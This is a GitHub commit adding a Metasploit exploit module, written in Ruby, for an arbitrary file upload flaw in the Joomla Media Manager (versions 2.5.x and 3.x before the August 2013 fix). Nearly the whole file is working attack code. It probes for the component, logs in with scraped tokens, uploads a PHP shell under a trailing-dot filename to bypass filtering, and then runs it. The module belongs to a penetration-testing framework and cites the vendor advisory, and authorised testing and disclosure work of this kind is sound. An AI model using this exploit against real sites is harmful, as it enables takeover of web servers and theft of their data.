Skip to content

Commit 54cffdb

Browse files
committed
Land rapid7#2219 - OSVDB-95933: Joomla Media Manager File Upload Vulnerability
2 parents c9799c1 + e912a64 commit 54cffdb

File tree

1 file changed

+235
-0
lines changed

1 file changed

+235
-0
lines changed
Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "Joomla Media Manager File Upload Vulnerability",
19+
'Description' => %q{
20+
This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
21+
3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
22+
which comes by default in Joomla, allowing arbitrary file uploads, and results in
23+
arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
24+
and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
25+
Manager, you will need to supply a valid username and password (Editor role or
26+
higher) in order to work properly.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' =>
30+
[
31+
'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB
32+
'juan vazquez' # Metasploit module
33+
],
34+
'References' =>
35+
[
36+
[ 'OSVDB', '95933' ],
37+
[ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ],
38+
[ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ]
39+
],
40+
'Payload' =>
41+
{
42+
'DisableNops' => true,
43+
# Arbitrary big number. The payload gets sent as POST data, so
44+
# really it's unlimited
45+
'Space' => 262144, # 256k
46+
},
47+
'Platform' => ['php'],
48+
'Arch' => ARCH_PHP,
49+
'Targets' =>
50+
[
51+
[ 'Joomla 2.5.x <=2.5.13', {} ]
52+
],
53+
'Privileged' => false,
54+
'DisclosureDate' => "Aug 01 2013",
55+
'DefaultTarget' => 0))
56+
57+
register_options(
58+
[
59+
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),
60+
OptString.new('USERNAME', [false, 'User to login with', '']),
61+
OptString.new('PASSWORD', [false, 'Password to login with', '']),
62+
], self.class)
63+
64+
end
65+
66+
def peer
67+
return "#{rhost}:#{rport}"
68+
end
69+
70+
def check
71+
res = get_upload_form
72+
73+
if res and res.code == 200
74+
if res.body =~ /You are not authorised to view this resource/
75+
print_status("#{peer} - Joomla Media Manager Found but authentication required")
76+
return Exploit::CheckCode::Detected
77+
elsif res.body =~ /<form action="(.*)" id="uploadForm"/
78+
print_status("#{peer} - Joomla Media Manager Found and authentication isn't required")
79+
return Exploit::CheckCode::Detected
80+
end
81+
end
82+
83+
return Exploit::CheckCode::Safe
84+
end
85+
86+
def upload(upload_uri)
87+
begin
88+
u = URI(upload_uri)
89+
rescue ::URI::InvalidURIError
90+
fail_with(Exploit::Failure::Unknown, "Unable to get the upload_uri correctly")
91+
end
92+
93+
data = Rex::MIME::Message.new
94+
data.add_part(payload.encoded, "application/x-php", nil, "form-data; name=\"Filedata[]\"; filename=\"#{@upload_name}.\"")
95+
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
96+
97+
res = send_request_cgi({
98+
'method' => 'POST',
99+
'uri' => "#{u.path}?#{u.query}",
100+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
101+
'cookie' => @cookies,
102+
'vars_get' => {
103+
'asset' => 'com_content',
104+
'author' => '',
105+
'format' => '',
106+
'view' => 'images',
107+
'folder' => ''
108+
},
109+
'data' => post_data
110+
})
111+
112+
return res
113+
114+
end
115+
116+
def get_upload_form
117+
res = send_request_cgi({
118+
'method' => 'GET',
119+
'uri' => normalize_uri(target_uri.path, "index.php"),
120+
'cookie' => @cookies,
121+
'encode_params' => false,
122+
'vars_get' => {
123+
'option' => 'com_media',
124+
'view' => 'images',
125+
'tmpl' => 'component',
126+
'e_name' => 'jform_articletext',
127+
'asset' => 'com_content',
128+
'author' => ''
129+
}
130+
})
131+
132+
return res
133+
end
134+
135+
def get_login_form
136+
137+
res = send_request_cgi({
138+
'method' => 'GET',
139+
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
140+
'cookie' => @cookies,
141+
'vars_get' => {
142+
'view' => 'login'
143+
}
144+
})
145+
146+
return res
147+
148+
end
149+
150+
def login
151+
res = send_request_cgi({
152+
'method' => 'POST',
153+
'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"),
154+
'cookie' => @cookies,
155+
'vars_get' => {
156+
'task' => 'user.login'
157+
},
158+
'vars_post' => {
159+
'username' => @username,
160+
'password' => @password
161+
}.merge(@login_options)
162+
})
163+
164+
return res
165+
end
166+
167+
def parse_login_options(html)
168+
html.scan(/<input type="hidden" name="(.*)" value="(.*)" \/>/) {|option|
169+
@login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1"
170+
}
171+
end
172+
173+
def exploit
174+
@login_options = {}
175+
@cookies = ""
176+
@upload_name = "#{rand_text_alpha(rand(5) + 3)}.php"
177+
@username = datastore['USERNAME']
178+
@password = datastore['PASSWORD']
179+
180+
print_status("#{peer} - Checking Access to Media Component...")
181+
res = get_upload_form
182+
183+
if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
184+
print_status("#{peer} - Authentication required... Proceeding...")
185+
186+
if @username.empty? or @password.empty?
187+
fail_with(Exploit::Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials")
188+
end
189+
@cookies = res.get_cookies.sub(/;$/, "")
190+
191+
print_status("#{peer} - Accessing the Login Form...")
192+
res = get_login_form
193+
if res.nil? or res.code != 200 or res.body !~ /login/
194+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Login Form")
195+
end
196+
parse_login_options(res.body)
197+
198+
res = login
199+
if not res or res.code != 303
200+
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to Authenticate")
201+
end
202+
elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
203+
print_status("#{peer} - Authentication isn't required.... Proceeding...")
204+
@cookies = res.get_cookies.sub(/;$/, "")
205+
else
206+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Failed to Access the Media Manager Component")
207+
end
208+
209+
print_status("#{peer} - Accessing the Upload Form...")
210+
res = get_upload_form
211+
212+
if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
213+
upload_uri = Rex::Text.html_decode($1)
214+
else
215+
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Upload Form")
216+
end
217+
218+
print_status("#{peer} - Uploading shell...")
219+
220+
res = upload(upload_uri)
221+
222+
if res.nil? or res.code != 200
223+
fail_with(Exploit::Failure::Unknown, "#{peer} - Upload failed")
224+
end
225+
226+
register_files_for_cleanup("#{@upload_name}.")
227+
print_status("#{peer} - Executing shell...")
228+
send_request_cgi({
229+
'method' => 'GET',
230+
'uri' => normalize_uri(target_uri.path, "images", @upload_name),
231+
})
232+
233+
end
234+
235+
end

0 commit comments

Comments
 (0)